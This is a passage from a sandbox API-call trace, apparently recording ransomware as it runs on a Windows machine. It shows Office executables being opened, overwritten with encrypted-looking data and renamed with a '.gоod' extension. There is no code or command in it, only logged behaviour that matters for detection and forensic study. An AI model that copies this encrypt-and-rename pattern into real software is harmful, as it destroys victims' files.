lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE", lpFilePart=0x0) returned 0x39 [0135.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0135.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0135.342] GetFileType (hFile=0x630) returned 0x1 [0135.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0135.342] GetFileType (hFile=0x630) returned 0x1 [0135.342] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x20d8840 [0135.342] WriteFile (in: hFile=0x630, lpBuffer=0x37da800*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x37da800*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0135.344] CloseHandle (hObject=0x630) returned 1 [0135.344] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE", lpFilePart=0x0) returned 0x39 [0135.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0135.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0135.344] GetFileType (hFile=0x630) returned 0x1 [0135.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0135.344] GetFileType (hFile=0x630) returned 0x1 [0135.344] ReadFile (in: hFile=0x630, lpBuffer=0x37dd458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x37dd458*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0135.373] CloseHandle (hObject=0x630) returned 1 [0135.373] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE", lpFilePart=0x0) returned 0x39 [0135.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0135.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0135.373] GetFileType (hFile=0x630) returned 0x1 [0135.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0135.373] GetFileType (hFile=0x630) returned 0x1 [0135.373] WriteFile (in: hFile=0x630, lpBuffer=0x37dc1d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x37dc1d0*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0135.373] CloseHandle (hObject=0x630) returned 1 [0135.373] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE", lpFilePart=0x0) returned 0x39 [0135.373] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE.gоod", lpFilePart=0x0) returned 0x3e [0135.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0135.373] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2fe923e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd4264503, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4ce75454, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20d8850)) returned 1 [0135.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0135.374] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.exe.gоod")) returned 1 [0135.374] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x50 [0135.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0135.374] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x3859890 | out: lpFileInformation=0x3859890*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x17d4481d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x152)) returned 1 [0135.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0135.375] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x50 [0135.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0135.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.visualelementsmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0135.375] GetFileType (hFile=0x630) returned 0x1 [0135.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0135.375] GetFileType (hFile=0x630) returned 0x1 [0135.375] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1f59e838 | out: lpFileSizeHigh=0x1f59e838*=0x0) returned 0x152 [0135.375] ReadFile (in: hFile=0x630, lpBuffer=0x3859d10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e768, lpOverlapped=0x0 | out: lpBuffer=0x3859d10*, lpNumberOfBytesRead=0x1f59e768*=0x152, lpOverlapped=0x0) returned 1 [0135.621] CloseHandle (hObject=0x630) returned 1 [0135.648] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x50 [0135.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0135.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.visualelementsmanifest.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0135.649] GetFileType (hFile=0x630) returned 0x1 [0135.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0135.649] GetFileType (hFile=0x630) returned 0x1 [0135.649] WriteFile (in: hFile=0x630, lpBuffer=0x385d630*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x1f59e678, lpOverlapped=0x0 | out: lpBuffer=0x385d630*, lpNumberOfBytesWritten=0x1f59e678*=0x160, lpOverlapped=0x0) returned 1 [0135.651] CloseHandle (hObject=0x630) returned 1 [0135.651] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x50 [0135.651] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.VisualElementsManifest.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.VisualElementsManifest.xml.gоod", lpFilePart=0x0) returned 0x55 [0135.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0135.651] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4d123ce6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x160)) returned 1 [0135.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0135.651] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.visualelementsmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.VisualElementsManifest.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.visualelementsmanifest.xml.gоod")) returned 1 [0135.652] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe", lpFilePart=0x0) returned 0x3c [0135.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0135.652] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excelcnv.exe"), fInfoLevelId=0x0, lpFileInformation=0x385e908 | out: lpFileInformation=0x385e908*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1c8beb8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee3a0b07, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1cc72a0)) returned 1 [0135.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0135.652] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe", lpFilePart=0x0) returned 0x3c [0135.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0135.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excelcnv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0135.652] GetFileType (hFile=0x630) returned 0x1 [0135.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0135.652] GetFileType (hFile=0x630) returned 0x1 [0135.652] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0135.653] ReadFile (in: hFile=0x630, lpBuffer=0x385ed00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x385ed00*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0136.260] CloseHandle (hObject=0x630) returned 1 [0136.434] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe", lpFilePart=0x0) returned 0x3c [0136.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0136.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excelcnv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0136.434] GetFileType (hFile=0x618) returned 0x1 [0136.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0136.435] GetFileType (hFile=0x618) returned 0x1 [0136.435] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1cc72a0 [0136.435] WriteFile (in: hFile=0x618, lpBuffer=0x38ffc40*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x38ffc40*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0136.436] CloseHandle (hObject=0x618) returned 1 [0136.436] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe", lpFilePart=0x0) returned 0x3c [0136.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0136.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excelcnv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0136.436] GetFileType (hFile=0x618) returned 0x1 [0136.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0136.436] GetFileType (hFile=0x618) returned 0x1 [0136.436] ReadFile (in: hFile=0x618, lpBuffer=0x3901f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3901f90*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0136.464] CloseHandle (hObject=0x618) returned 1 [0136.465] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe", lpFilePart=0x0) returned 0x3c [0136.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0136.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excelcnv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0136.465] GetFileType (hFile=0x618) returned 0x1 [0136.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0136.465] GetFileType (hFile=0x618) returned 0x1 [0136.465] WriteFile (in: hFile=0x618, lpBuffer=0x3900cf8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x3900cf8*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0136.465] CloseHandle (hObject=0x618) returned 1 [0136.465] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe", lpFilePart=0x0) returned 0x3c [0136.465] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe.gоod", lpFilePart=0x0) returned 0x41 [0136.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0136.465] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excelcnv.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1c8beb8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee3a0b07, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4d8e373f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1cc72b0)) returned 1 [0136.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0136.465] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excelcnv.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excelcnv.exe.gоod")) returned 1 [0136.467] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.EXE", lpFilePart=0x0) returned 0x3c [0136.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0136.467] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\firstrun.exe"), fInfoLevelId=0x0, lpFileInformation=0x397e5f8 | out: lpFileInformation=0x397e5f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2497e17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2497e17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2687c83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc5640)) returned 1 [0136.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0136.790] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.EXE", lpFilePart=0x0) returned 0x3c [0136.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0136.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\firstrun.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0136.792] GetFileType (hFile=0x768) returned 0x1 [0136.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0136.792] GetFileType (hFile=0x768) returned 0x1 [0136.792] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0136.792] ReadFile (in: hFile=0x768, lpBuffer=0x3a792f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3a792f0*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0137.634] CloseHandle (hObject=0x768) returned 1 [0137.634] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.EXE", lpFilePart=0x0) returned 0x3c [0137.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0137.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\firstrun.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0137.635] GetFileType (hFile=0x768) returned 0x1 [0137.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0137.635] GetFileType (hFile=0x768) returned 0x1 [0137.635] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0xc5640 [0137.635] WriteFile (in: hFile=0x768, lpBuffer=0x395ca20*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x395ca20*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0137.636] CloseHandle (hObject=0x768) returned 1 [0137.636] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.EXE", lpFilePart=0x0) returned 0x3c [0137.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0137.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\firstrun.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0137.637] GetFileType (hFile=0x768) returned 0x1 [0137.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0137.637] GetFileType (hFile=0x768) returned 0x1 [0137.637] ReadFile (in: hFile=0x768, lpBuffer=0x395ecd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x395ecd0*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0137.666] CloseHandle (hObject=0x768) returned 1 [0137.666] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.EXE", lpFilePart=0x0) returned 0x3c [0137.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0137.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\firstrun.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0137.666] GetFileType (hFile=0x768) returned 0x1 [0137.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0137.666] GetFileType (hFile=0x768) returned 0x1 [0137.666] WriteFile (in: hFile=0x768, lpBuffer=0x395da38*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x395da38*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0137.667] CloseHandle (hObject=0x768) returned 1 [0137.667] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.EXE", lpFilePart=0x0) returned 0x3c [0137.667] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.EXE.gоod", lpFilePart=0x0) returned 0x41 [0137.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0137.667] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\firstrun.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, 